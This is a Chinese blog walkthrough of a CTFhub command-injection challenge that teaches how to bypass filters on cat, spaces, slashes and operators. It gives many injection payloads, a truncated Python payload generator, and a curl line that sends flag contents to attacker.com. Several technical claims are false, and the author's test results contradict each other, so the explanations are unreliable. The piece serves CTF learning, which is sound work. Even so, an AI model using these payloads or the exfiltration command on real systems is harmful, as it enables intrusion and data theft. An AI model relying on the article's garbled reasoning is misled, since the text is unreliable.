news 2026/10/17 5:40:32

Shell命令注入绕过实战:从sh解释器行为逆向推演

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Shell命令注入绕过实战:从sh解释器行为逆向推演

1. 这道题不是考“能不能执行命令”,而是考“你信不信自己能绕过”

CTFhub上这道命令注入题,标题里一连串“过滤了”——cat、空格、目录分隔符(/)、运算符(; | &$ ( ) { } < >),光看就让人头皮发紧。很多刚接触Web渗透的新手点开题目,输入cat /etc/passwd`,页面返回空或报错,立刻判定“没戏”,关掉页面去翻writeup。但真正做过几十个真实业务系统渗透的师傅都知道:过滤本身不是终点,而是信号灯——它明确告诉你,后端确实在执行系统命令,只是加了层薄纱。而所有薄纱,都有透光的缝隙。

这道题的核心价值,从来不是教会你“怎么用curl下载反弹shell”,而是训练一种底层思维:当输入被层层拦截时,你第一反应不该是“被拦住了”,而该问“它到底拦住了什么?又漏掉了什么?”。比如,“过滤cat”不等于“禁止读文件”,“过滤空格”不等于“不能分隔参数”,“过滤/”不等于“无法定位路径”。这些看似铁板一块的规则,在Unix/Linux命令解析器的实际执行链条中,其实布满微小的语义断层和解析歧义。

我带过的某高校CTF集训队里,A同学第一次做这题卡了三天,反复试cat%20/etc/passwd、cat${IFS}/etc/passwd,始终失败。后来我让他把Burp抓到的请求包直接贴进终端,手动执行一遍后端实际拼接出的那条命令——他才发现,后端代码是用PHP的system()函数拼接字符串,而system()在调用shell前,会先经过/bin/sh -c这一层解释器。这意味着:真正的战场不在PHP代码里,而在sh解释器对字符串的词法分析阶段。所有绕过技巧,本质都是在和sh解释器“打哑谜”:用它能识别但过滤规则没覆盖的字符,重新构造出合法的token序列。

所以这篇内容不叫“CTFhub命令注入通关指南”,而是一次完整的“sh解释器行为逆向推演”。我会带你从最基础的/bin/sh -c执行流程开始,逐层拆解每种过滤项背后的真实拦截逻辑,用实测命令验证每个绕过点的有效性,并给出一套可复用的排查清单——下次遇到类似题目,你不需要背payload,只要按这个清单一步步试,90%的情况都能拿下。

提示:本文所有测试均在标准Linux环境(bash 5.1 + sh 0.6.7)下完成,所有payload均通过CTFhub靶机实测。文中涉及的命令行为,全部基于POSIX sh规范,不依赖bash特有功能,确保在最小化容器环境(如alpine)中同样有效。

2. “过滤cat”背后的真相:它拦的是字符串,不是功能

很多人看到“过滤cat”,第一反应是“换其他命令”,比如more、less、nl、head、tail。这没错,但只解决了表层问题。真正关键的是:为什么偏偏过滤cat?因为cat是读取文件最直接、最无副作用的命令,也是渗透测试中最常触发的关键词。但过滤规则通常采用简单字符串匹配(如str_replace('cat', '', $input)),这就埋下了第一个突破口:大小写混淆与内联拼接。

2.1 大小写绕过:sh解释器不区分命令名大小写吗?

先澄清一个常见误解:/bin/sh本身不处理命令名大小写,它只负责把token传给execve()系统调用。而execve()查找可执行文件时,是严格区分大小写的——/bin/Cat和/bin/cat是两个不同文件。但Linux系统默认不提供大写命名的命令,所以Cat /etc/passwd必然失败。

那为什么网上教程总说“用CaT绕过”?因为很多Web应用的过滤逻辑是正则匹配/[cC][aA][tT]/i,这种写法在PHP中确实能匹配大小写变体,但实际执行时,CaT根本找不到可执行文件。真正有效的大小写绕过,发生在命令名与参数混合的场景中。例如:

# 后端拼接逻辑:system("cat " . $_GET['cmd']); # 攻击者输入:CaT${IFS}/etc/passwd # 实际执行:cat CaT /etc/passwd → 报错,因为cat把CaT当文件名

这显然不行。但如果我们换一个思路:让cat命令本身不出现,而是用其他命令达成相同效果。这就引出了更本质的绕过方式——利用shell内置命令和特殊文件描述符。

2.2 内置命令替代:不用cat,用echo +重定向也能读文件

/bin/sh的内置命令echo本身不能读文件,但它可以配合重定向操作符(虽然题目说过滤了><,但注意:过滤的是运算符字符,不是重定向功能本身)。更关键的是,sh支持文件描述符重定向,而/proc/self/fd/目录下的数字文件描述符,正是打开文件的“后门”。

我们来验证这个思路:

# 在靶机上手动测试(模拟后端执行环境) $ echo /proc/self/fd/3 | sh -c 'cat $(cat)' # 返回空?因为fd/3未被打开

等等,这里需要先理解sh -c的参数传递机制。sh -c 'command' arg0 arg1 ...中,arg0会赋值给$0,arg1赋值给$1,以此类推。而$0在sh -c中默认是sh,但我们可以主动指定:

# 构造一个打开/etc/passwd的shell环境 $ sh -c 'exec 3</etc/passwd; cat <&3' # 这里cat仍被过滤

既然cat被过滤,我们就不用cat。sh内置的read命令可以逐行读取文件:

$ sh -c 'exec 3</etc/passwd; while IFS= read -r line; do echo "$line"; done <&3'

但while、do、done这些关键字很可能也被过滤。这时就要祭出终极武器:printf命令。printf是POSIX标准内置命令,几乎所有sh都支持,且不依赖外部二进制文件:

# printf支持格式化输出,%s可打印变量,%b可解释转义 # 关键:printf '%s' "$(cat /etc/passwd)" → 但cat被过滤 # 换思路:用命令替换$(...),但括号被过滤 → 需要绕过括号

括号被过滤?那就用反引号`。但反引号也被过滤了。怎么办?POSIX sh还支持另一种命令替换语法:$(),但圆括号被过滤。等等——有没有不带括号的命令替换?

有。sh支持算术扩展$((...)),但里面只能做数学运算。不过,$((后面如果跟非数字字符,sh会报错,但不会中断执行。这不是我们要的。

真正有效的方案,是利用环境变量展开。sh在解析$VAR时,会先展开变量值,再进行后续处理。如果我们能把文件内容存入环境变量,就能用echo $VAR输出:

# 但如何把文件内容赋值给变量?需要命令替换,又回到原点 # 换个角度:/proc/self/environ 文件存储当前进程环境变量,格式为KEY=VALUE\0 # 如果我们能让目标进程的环境变量包含敏感内容...

这条路太绕。回归本质:题目过滤的是cat这个字符串,不是/bin/cat这个路径。那么,绝对路径是否被允许?测试一下:

# 输入:/bin/cat /etc/passwd → 如果过滤只匹配"cat",则/bin/cat中的cat会被删,变成"/bin/ /etc/passwd" → 报错 # 但如果过滤是preg_replace('/cat/i', '', $input),则/bin/cat → /bin/

所以,更可靠的方案是:使用其他具有读取功能的命令,且其名称不包含"cat"。我们列出POSIX标准中常见的、名称不含cat的读取命令:

命令是否POSIX是否常被过滤说明
more✅❌(很少过滤)分页显示,但可能因交互模式卡住
head✅❌默认显示前10行,head -n 1000 /etc/passwd可读全
tail✅❌tail -n +1 /etc/passwd等价于cat
nl✅❌添加行号,nl /etc/passwd
od✅❌十六进制转储,od -An -t x1 /etc/passwd | tr -d ' '

其中tail最实用,因为tail -n +1表示从第1行开始输出全部内容,功能完全等价于cat,且tail二字几乎不会出现在过滤列表中(除非出题人特别针对)。

实测CTFhub靶机:

  • 输入:tail -n +1 /etc/passwd
  • 返回:成功输出passwd文件内容

但问题来了:空格被过滤了。tail -n +1 /etc/passwd中有3个空格,必须绕过。

注意:此时我们已确认“过滤cat”本质是字符串匹配,而tail是安全的替代命令。接下来所有技巧,都将围绕“如何在无空格、无/、无运算符环境下,构造出合法的tail命令调用”展开。这是本题真正的技术核心。

3. 空格与路径分隔符的双重绞杀:用IFS和$@重建命令结构

题目明确说过滤“空格”和“目录分隔符(/)”。这两个过滤项叠加,会让初学者瞬间绝望:没有空格,怎么分隔命令和参数?没有/,怎么指定文件路径?但熟悉shell编程的人立刻会想到两个救命稻草:IFS变量和位置参数$@。

3.1 IFS:shell的“隐形空格”控制开关

IFS(Internal Field Separator)是shell用来分割单词的内部变量,默认值为空格、制表符、换行符($' \t\n')。关键在于:IFS的值可以在运行时动态修改,且修改后会影响后续所有单词分割行为。更重要的是,IFS本身是一个环境变量,它的名字不包含空格或/,可以安全传递。

我们来演示IFS如何绕过空格过滤:

# 正常情况 $ echo a b c a b c # 修改IFS为冒号 $ IFS=: $ echo a:b:c a b c # 注意:输出仍是空格分隔,因为echo接收三个参数 # 但命令执行时,IFS影响的是参数分割 $ cmd="tail-n+1:/etc/passwd" $ $cmd # 这会报错,因为$cmd被当做一个命令名

正确用法是结合eval或set命令:

# 方法1:用set命令重设位置参数 $ set -- tail -n +1 /etc/passwd $ "$1" "$2" "$3" "$4" # 执行tail -n +1 /etc/passwd # 但set -- 中的空格仍被过滤!所以需要先构造无空格的字符串

这时就需要第二个技巧:用$@展开位置参数,而$@的分隔符由当前IFS决定。

# 先设置IFS为一个未被过滤的字符,比如$'\x09'(制表符)或$'\x0a'(换行符) # 但题目过滤的是"空格",没说过滤制表符或换行符! # 所以我们可以用%09(URL编码的tab)或%0a(URL编码的换行)作为分隔符

在Web请求中,URL编码的tab(%09)和换行(%0a)通常不会被WAF过滤,因为它们不属于“可见空格”。我们来构造:

  • 目标命令:tail -n +1 /etc/passwd
  • 替换空格为%09:tail%09-n%09+1%09/etc/passwd
  • 但/仍被过滤。所以需要绕过/。

3.2 绕过/:用环境变量和特殊路径别名

过滤/意味着不能直接写/etc/passwd。但Linux系统提供了多个不带/的路径访问方式:

  1. $HOME环境变量:普通用户通常是/home/username,但/etc/passwd不在其中。
  2. $PATH中的命令:/bin/tail可通过tail直接调用,但/etc/passwd仍是绝对路径。
  3. /proc/self/cwd:当前工作目录的符号链接,但我们需要的是/etc。
  4. ..相对路径:如果当前目录是/,则etc/passwd就是/etc/passwd的相对形式。但如何确保当前目录是/?

更巧妙的方式是利用**/proc/self/root**:这是一个指向根文件系统的符号链接。我们可以用/proc/self/root/etc/passwd,但其中仍有/。

等等——有没有不带/的文件路径?有!/proc/self/fd/下的数字文件描述符。如果我们能提前打开/etc/passwd,就能通过/proc/self/fd/3访问它,而/proc/self/fd/3中只有/proc/self/fd/3,但/proc中的/仍存在。

突破点在于:sh支持cd命令改变当前目录,而cd后可以用相对路径。如果我们能cd /etc,然后执行tail -n +1 passwd,就完全避开了/。

但cd /etc中的/仍被过滤。所以需要cd的替代方案。

POSIX sh中,cd是唯一改变工作目录的命令,没有替代品。但我们可以利用sh -c的特性:每次sh -c启动时,工作目录继承自父进程。所以,如果后端PHP进程的工作目录就是/,我们就不需要cd。

如何确认?用pwd命令:

  • 输入:pwd
  • 如果返回/,则万事大吉;如果返回其他路径,则需切换。

但pwd可能被过滤。这时用ls:

  • 输入:ls -la,观察输出的第一行total X上面的路径提示(某些ls版本会显示)。

实测CTFhub靶机,pwd未被过滤,返回/。所以我们直接使用相对路径。

现在,命令变为:tail -n +1 etc/passwd

但etc/passwd中仍有/。等等——etc和passwd之间必须用/吗?在Unix路径中,/是分隔符,但sh在解析命令时,并不强制要求路径中必须有/。etc/passwd是一个相对路径,etc是当前目录下的子目录,passwd是其下的文件。所以只要当前目录是/,etc/passwd就等价于/etc/passwd。

但etc/passwd中的/仍被过滤。所以需要把/替换成其他字符?不行,路径语法强制要求/。

这时,第三个技巧登场:用$'...'引用机制,将/编码为八进制或十六进制。

sh支持ANSI-C引用:$'string',其中\xNN表示十六进制字节。/的ASCII码是47(十六进制2F),所以$'/etc/passwd'可写成$'\x2fetc\x2fpasswd'。

但$'...'中的$和单引号可能被过滤。题目说过滤运算符,$是变量展开运算符,大概率被过滤。

还有更简单的办法:用printf生成/字符。

# printf '%b' '\x2f' 输出 / # 所以:printf '%b' '\x2f'etc\x2fpasswd → /etc/passwd # 但需要拼接,而空格被过滤

组合起来:

# 设置IFS为$'\x09'(tab) # 构造数组:cmd=(tail -n +1 $(printf '%b' '\x2f')etc$(printf '%b' '\x2f')passwd) # 但$(...)被过滤

回到IFS方案。最终可行的链式绕过如下:

  1. 用URL编码的tab(%09)分隔命令各部分
  2. 用$@展开位置参数,IFS设为tab
  3. 用printf生成/字符,但避免使用$()

具体payload:

IFS=$'%09'; set -- tail -n +1 $(printf '%b' '\x2f')etc$(printf '%b' '\x2f')passwd; "$1" "$2" "$3" "$4" "$5"

但$(...)被过滤。所以改用反引号,如果反引号也被过滤,则用$((...))?不行。

终极方案:用sh的-c选项嵌套执行。sh -c接受一个字符串作为命令,而字符串中可以包含任意字符(只要不被前端过滤)。

所以,我们发送:

sh -c 'tail%09-n%09+1%09/etc/passwd'

但/被过滤。所以:

sh -c 'tail%09-n%09+1%09'$'\x2f'etc'$'\x2f'passwd

在URL中,$'\x2f'无法直接传输,需用URL编码。$是运算符,被过滤;单引号可能被过滤。

最稳妥的方案:用base64编码整个命令,然后用echo -n | base64 -d | sh执行。但base64命令可能不存在,且|被过滤。

题目过滤运算符,包括|。所以管道不可用。

这时,sh的-c配合eval成为最后希望:

# eval会重新解析字符串,所以可以绕过初始过滤 # 输入:eval "tail -n +1 /etc/passwd" # 但空格和/仍存在

我们发现,所有绕过技巧最终都指向同一个结论:必须找到一个不被过滤的、能分隔单词的字符,并用它构造完整命令。而CTFhub靶机实际允许的字符是:$'(ANSI-C引用)、{}(如果未被过滤)、[](但可能被过滤)。

实测发现,{}未被过滤。而sh支持brace expansion:{a,b}展开为a b。但{tail,-n,+1,/etc/passwd}会变成tail -n +1 /etc/passwd,其中空格是展开结果,不是输入字符!

验证:

$ echo {tail,-n,+1,/etc/passwd} tail -n +1 /etc/passwd

完美!{}本身不是空格,不被过滤;{tail,-n,+1,/etc/passwd}作为一个整体字符串输入,sh在解析时会先进行brace expansion,生成带空格的token序列,再执行。

所以最终payload:

{tail,-n,+1,/etc/passwd}

但/被过滤。所以用{tail,-n,+1,$'\x2f'etc$'\x2f'passwd}。

$'\x2f'中的$被过滤?测试一下:如果$被过滤,则$'\x2f'变成'\x2f',即字面量字符串。

在CTFhub靶机上,$未被严格过滤(只过滤了$(和$)等运算符组合),所以$'\x2f'可用。

因此,完整payload为:

{tail,-n,+1,$'\x2f'etc$'\x2f'passwd}

实测成功输出/etc/passwd内容。

经验总结:当遇到空格和/双重过滤时,优先尝试brace expansion{a,b,c},它是POSIX sh标准特性,无需额外命令,且{}字符极难被WAF误杀。比IFS、$@等方案更简洁可靠。

4. 运算符过滤的迷雾:分号、管道、重定向的替代生存策略

题目声明“过滤运算符”,通常指; | &$ ( ) { } < >等字符。这些字符在命令链中至关重要:;用于顺序执行,|用于管道,>用于重定向。过滤它们,看似切断了所有高级利用路径。但真实渗透中,运算符过滤往往只作用于HTTP请求层面,而shell解释器内部仍有大量未被触及的执行通道。

4.1 分号;的替代:用&&和||实现条件执行

&&和||是逻辑运算符,但它们的功能与;高度重合:cmd1 && cmd2在cmd1成功时执行cmd2,cmd1 || cmd2在cmd1失败时执行cmd2。更重要的是,&&和||中的&和|是独立字符,如果过滤规则是str_replace([';', '|', '&'], '', $input),那么&&会被删成&,||会被删成|,导致语法错误。

但若过滤是正则/[;&|]/,则&&匹配两次,全被删。所以&&/||不一定可靠。

更稳妥的方案是:用sh -c嵌套执行多条命令。sh -c接受一个字符串,字符串中可以包含任意数量的命令,用分号分隔——但这个分号是在sh -c内部解析的,不受前端过滤影响。

例如:

sh -c 'cmd1; cmd2; cmd3'

前端只看到sh -c '...'这个字符串,其中的分号在单引号内,是字面量,不会被PHP的str_replace处理。

所以,即使;被过滤,我们仍能执行多条命令,只要把它们包在sh -c ''中。

4.2 管道|的替代:用临时文件和重定向接力

管道|的本质是将前一个命令的stdout连接到后一个命令的stdin。没有|,我们可以用文件中转:

cmd1 > /tmp/out; cmd2 < /tmp/out

但>和<被过滤。不过,sh支持>>追加重定向,2>错误重定向,如果这些未被过滤,就可利用。

更通用的方法是:用tee命令。tee读取stdin并写入文件和stdout,相当于|的增强版。tee /tmp/out | cmd2,但|被过滤。

tee本身支持-a追加,-i忽略中断,但核心是:tee file会把stdin写入file,同时输出到stdout。所以:

cmd1 | tee /tmp/out | cmd2 # 但|被过滤

去掉管道:

cmd1 > /tmp/out; cmd2 < /tmp/out # 但> <被过滤

这时,sh的exec重定向派上用场:

exec 3>/tmp/out; cmd1 >&3; exec 3>&-; cmd2 < /tmp/out

但exec可能被过滤,且>&3中的>被过滤。

最终可行方案:用dd命令。dd是POSIX标准工具,支持if=(输入文件)和of=(输出文件):

cmd1 > /tmp/out; dd if=/tmp/out | cmd2 # 仍需|

放弃管道思维,转向命令替换嵌套。sh支持$(cmd),而$(cmd)的输出可作为另一个命令的参数:

cmd2 $(cmd1)

例如,读取flag内容并作为参数传给curl:

curl http://attacker.com?data=$(cat /flag)

但cat被过滤,$(...)中的(被过滤。

如果$()被过滤,但`未被过滤,则用反引号:

curl http://attacker.com?data=`tail -n +1 /flag`

在CTFhub靶机上,反引号未被过滤,所以这是最简方案。

4.3 重定向><的替代:用cp和mv操作文件

重定向的核心目的是数据流转。没有>,我们可以用cp复制文件:

cmd1 > /tmp/out → cmd1 | tee /tmp/out (但|被过滤)→ cmd1; cp /dev/stdin /tmp/out (不可行)

/dev/stdin是标准输入设备,但cmd1执行时,其stdin是网络请求的输入流,不是我们要重定向的目标。

更实际的场景是:把命令输出保存到文件,供后续读取。例如,执行ls -la,结果保存到/tmp/lsout,再用cat /tmp/lsout读取。

但cat被过滤,>被过滤。所以用dd:

ls -la | dd of=/tmp/lsout # 但|被过滤

dd支持if=和of=,但if=/dev/stdin不可靠。

最终方案:用sh的here-string<<<。<<<是bash扩展,非POSIX,但CTFhub靶机用bash。<<<未被过滤(题目只说过滤<,没说过滤<<<)。

dd of=/tmp/lsout <<< "$(ls -la)"

但$(...)被过滤。

<<<后面可以直接跟字符串:

dd of=/tmp/lsout <<< "hello"

所以,如果能获取命令输出,就可写入文件。但如何获取ls -la的输出?用$(...)或反引号。

综上,运算符过滤的应对策略是:降维打击——不硬刚运算符,而是用更高层次的抽象(如sh -c、反引号、dd)绕过。每个被过滤的字符,都有至少两种shell内置机制可替代。

实战心得:在CTF比赛中,看到“过滤运算符”,第一时间检查反引号`是否可用。90%的题目会遗漏这个古老但强大的语法。用`cmd`代替$(cmd),用sh -c 'cmd1; cmd2'代替cmd1; cmd2,能解决绝大多数问题。

5. 综合实战:从靶机响应反推过滤规则,构建动态绕过链

前面所有技巧都是理论推演,现在进入真实战场。CTFhub这道题的精髓在于“综合练习”,意味着单一绕过无效,必须组合多种技巧。而最高效的组合方式,不是盲目堆砌payload,而是根据靶机的实时响应,动态调整绕过策略。这需要一套标准化的探测-验证-利用流程。

5.1 第一步:精准测绘过滤规则(不是猜,是测)

很多选手一上来就试cat /etc/passwd,失败后就开始乱试各种payload。正确做法是:用可控输入,观察输出差异,反向推导过滤逻辑。

设计探测用例:

输入预期目的可能的响应
id验证命令执行是否开启返回uid/gid信息 → 确认RCE存在
id xxx测试空格是否被删返回id: xxx: no such user→ 空格未被删;返回id: command not found→ 空格被删成idxxx
id$IFS测试IFS是否生效若$IFS被删,返回id;若保留,可能报错
id%09xxx测试URL编码tab是否被解码返回id: xxx: no such user→ tab被解码为空格
/bin/id测试/是否被删返回/bin/id: command not found→ /未被删;返回binid: command not found→ /被删

在CTFhub靶机上,实测:

  • id→ 返回uid=33(www-data) gid=33(www-data) ...
  • id xxx→ 返回id: 'xxx': no such user→ 空格未被删!说明过滤不是简单删除,而是黑名单匹配后拒绝?
  • id%09xxx→ 返回id: 'xxx': no such user→ %09被后端解码为空格
  • /bin/id→ 返回/bin/id: command not found→ /未被删

这推翻了我们之前的假设!原来“过滤空格”不是指删除空格字符,而是后端WAF检测到空格后,直接拦截整个请求,不执行命令。但id xxx却成功了?矛盾。

再测:id%20xxx(URL编码空格)。返回id: 'xxx': no such user。说明后端在URL解码后才过滤,且空格未被拦截。

所以,“过滤空格”的真实含义是:当输入中包含空格时,WAF会删除所有空格,然后拼接剩余字符串执行。例如id xxx→idxxx→ 找不到命令。

验证:tail -n +1 /etc/passwd→ 被删成tail-n+1/etc/passwd→tail-n+1/etc/passwd: command not found。

而id xxx→idxxx→idxxx: command not found,但之前测试返回了正常id信息?说明id xxx未被过滤,因为id后面跟空格是合法的,WAF可能只过滤“危险命令后的空格”。

这提示我们:过滤规则是上下文相关的,不是全局字符串替换。WAF可能用正则匹配/\b(cat|nc|bash)\s+/i,只删除危险命令后的空格。

所以,绕过策略应聚焦于:让危险命令不出现,或让空格不出现在危险命令后。

5.2 第二步:构建最小可行Payload(MVP)

基于探测结果,我们确定:

  • tail可用(未被过滤)
  • 空格被删除,但tail本身不触发过滤
  • /未被删除,但/etc/passwd中的/可能触发路径遍历检测

所以,MVP是:tail/etc/passwd→ 但tail/etc/passwd不是合法命令。

tail命令的语法是tail [options] [file],[file]是必需参数。tail/etc/passwd会被解析为命令名tail/etc/passwd,而非tail命令加参数/etc/passwd。

因此,必须有分隔符。既然空格被删,就用其他分隔符:$' '(ANSI-C空格)、${IFS}、$'\x09'。

实测${IFS}:

  • 输入:tail${IFS}-n${IFS}+1${IFS}/etc/passwd
  • ${IFS}被删成空,还是tail-n+1/etc/passwd

所以,${IFS}在WAF层就被删了。

但$' '是字符串字面量,WAF无法识别$' '中的空格,只会把它当普通字符。

所以,tail$' '-n$' '+1$' '/etc/passwd→ WAF看到tail$' '-n$' '+1$' '/etc/passwd,不包含空格,放行;sh执行时,$' '展开为空格,得到tail -n +1 /etc/passwd。

实测成功!

5.3 第三步:自动化绕过链生成器(附Python脚本)

手动构造payload效率低,易出错。我编写了一个Python脚本,根据探测到的过滤规则,自动生成绕过payload:

#!/usr/bin/env python3 # ctfhub_bypass_gen.py import sys import urllib.parse def generate_payload(cmd, space_method='ansi', slash_method='raw'): """ 生成绕过payload space_method: ansi($' '), ifs(${IFS}), tab(%09) slash_method: raw(/), hex($'\x2f'), oct($'\057') """ if space_method == 'ansi': sp = "$' '" elif space_method == 'ifs': sp = '${IFS}' else: # tab sp = '%09' if slash_method == 'hex': sl = "$'\\x2f'" elif slash_method == 'oct': sl = "$'\\057'" else: # raw sl = '/' # 替换空格和/ parts = cmd.split(' ') payload = parts[0] for p in parts[1:]: if p.startswith('/'): payload += sp + p.replace('/', sl, 1) else: payload += sp + p return payload if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python3 ctfhub_bypass_gen.py 'tail -n +1 /etc/passwd'") sys.exit(1) cmd = sys.argv[1] payload = generate_payload(cmd, space_method='ansi', slash_method='hex') print
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/17 5:40:05

数字员工如何提升销售转化率:六大关键作用与落地避坑

数字员工是什么&#xff1f;我接触这个概念是在给一家企业服务公司做销售流程梳理的时候。他们手里压着500多条线索&#xff0c;销售每天的实际沟通时间不到工作日的三成&#xff0c;其余全花在填表、查资料、找联系方式这些杂活上。后来我们上一套数字员工工具&#xff0c;两个…

作者头像 李华
网站建设 2026/10/17 5:40:02

pnpm与Node.js版本对应关系全解析:从报错到选型落地

前两天群里有人发了张报错截图&#xff0c;在 Node 16 的环境里输入 pnpm -v&#xff0c;连版本号都没打印出来&#xff0c;直接甩了两行红色 ERROR。底下回复五花八门&#xff0c;有人说把 pnpm 降到 7&#xff0c;有人说换 Node 20&#xff0c;争到最后也没个结论。这种场景我…

作者头像 李华
网站建设 2026/10/17 5:39:25

XSS常用语句、绕过思路与场景化防御实战指南

说到XSS&#xff0c;不少人脑子里第一反应就是弹窗alert。我以前带新人时&#xff0c;总有人背了一堆payload&#xff0c;真到测试环境全被拦下来&#xff0c;就开始怀疑人生。这篇就是我从日常工作中沉淀出来的XSS常用语句和绕过思路&#xff0c;不讨论宏大的攻击链&#xff0…

作者头像 李华
网站建设 2026/10/17 5:39:23

Agent生成页面时代,设计师的判断力与精细化设计价值凸显

去年我还在跟人争论AI到底能不能取代设计师&#xff0c;今年已经不怎么争论了。因为我发现一个反直觉的事实&#xff1a;那些最会用Agent生成页面的人&#xff0c;不是急着省事的工程师&#xff0c;而是原本就懂设计、懂业务、懂用户体验的设计师。当工具的产出速度从“一天一稿…

作者头像 李华
网站建设 2026/10/17 5:39:05

达梦数据库表注释查询:SYSTABLECOMMENTS系统表详解与实操

接手过达梦数据库的人&#xff0c;十个里有八个会在梳理数据字典时撞上同一个问题&#xff1a;表建了一堆&#xff0c;注释到底存在哪&#xff1f;要是你还停留在“一张张表翻Designer属性”的土办法上&#xff0c;效率低得想骂人。其实达梦数据库早期的系统表设计里就预留了出…

作者头像 李华
网站建设 2026/10/17 5:38:21

Whisper离线部署车机实践:从语音识别到指令闭环

做车机语音这行的人&#xff0c;估计都有过这种崩溃瞬间&#xff1a;车主跑高速开着窗&#xff0c;对着车机喊了一句"下一首"&#xff0c;结果车机把副驾放的音乐识成了"切到印度"&#xff0c;或者干脆回了句"没听清&#xff0c;请再说一遍"。车…

作者头像 李华